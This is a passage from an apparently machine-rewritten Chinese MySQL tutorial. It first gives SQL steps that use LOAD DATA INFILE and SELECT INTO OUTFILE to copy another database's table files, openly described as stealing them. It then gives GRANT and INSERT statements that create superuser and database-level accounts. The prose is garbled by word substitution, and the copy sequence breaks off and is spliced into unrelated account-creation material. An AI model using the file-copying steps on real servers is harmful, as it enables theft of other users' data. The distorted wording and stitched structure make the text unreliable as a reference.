・创立一个有一个LONGBLOB列的表:
USER test;
CREATE TABLE tmp (b LONGBLOB);
・利用该表读取每一个对应于你想盗取的数据库表文件的内容,然后将表内容写入你本人数据库的一个文件中:
LOAD DATA INFILE "./other_db/x.frm" INTO TABLE tmp
FIELDS ESCAPED BY "" LINES TERMINATED BY "";
SELECT * FROM tmp INTO OUTFILE "y.frm"
FIELDS ESCAPED BY "" LINES TERMINATED BY "";
DELETE FROM tmp;
LOAD DATA INFILE "./other_db/x.ISD" INTO TABLE tmp
FIELDS ESCAPED BY "" LINES TERMINATED BY "";
SELECT * FROM tmp INTO OUTFILE "y.ISD"
FIELDS ESCAPED BY "" LINES TERMINATED BY "";
DELETE FROM tmp;
LOAD DATA INFILE "./other_db/x.ISM" INTO TABLE tmp
FIELDS ESCAPED BY "" LINES TERMINATED BY "";
SELECT * FROM tmp INTO OUTFILE "y.ISM"
GRANT ALL ON *.* TO anyname@localhost IDENTIFIED BY "passwd"
WITH GRANT OPTION
该语句将在user表中为anyname@localhost创立一个纪录,翻开一切权限,由于这里是超等用户(全局)权限存储的中央,要用INSERT语句做一样的工作,语句是:
INSERT INTO user VALUES("localhost","anyname",PASSWORD("passwd"),
"Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y")
你能够发明它不任务,这要看你的MySQL版本。受权表的布局已改动并且你在你的user表能够没有14个权限列。用SHOW COLUMNS找出你的受权表包括的每一个权限列,响应地调剂你的INSERT语句。 以下GRANT语句也创立一个具有超等用户身份的用户,然而只要一个单个的权限:
GRANT RELOAD ON *.* TO flush@localhost IDENTIFIED BY "flushpass"
本例的INSERT语句比前一个复杂,它很轻易列出列名并只指定一个权限列。一切其它列将设置为缺省的"N":
INSERT INTO user (Host,Password,Reload) VALUES("localhost","flush",PASSWORD("flushpass"),"Y")
数据库级权限用一个ON db_name.*子句而不是ON *.*停止受权:
GRANT ALL ON sample.* TO boris@localhost IDENTIFIED BY "ruby"
这些权限不是全局的,所以它们不存储在user表中,咱们依然需求在user表中创立一笔记录(使得用户能毗连),但咱们也需求创立一个db表纪录纪录数据库集权限:
INSERT INTO user (Host,User,Password) VALUES("localhost","boris",PASSWORD("ruby"))
INSERT INTO db VALUES("localhost","sample_db","boris","Y","Y","Y","Y","Y","Y","N","Y","Y","Y")
"N"列是为GRANT权限;对末尾的一个数据库级具有WITH GRANT OPTION的GRANT语句,你要设置该列为"Y"。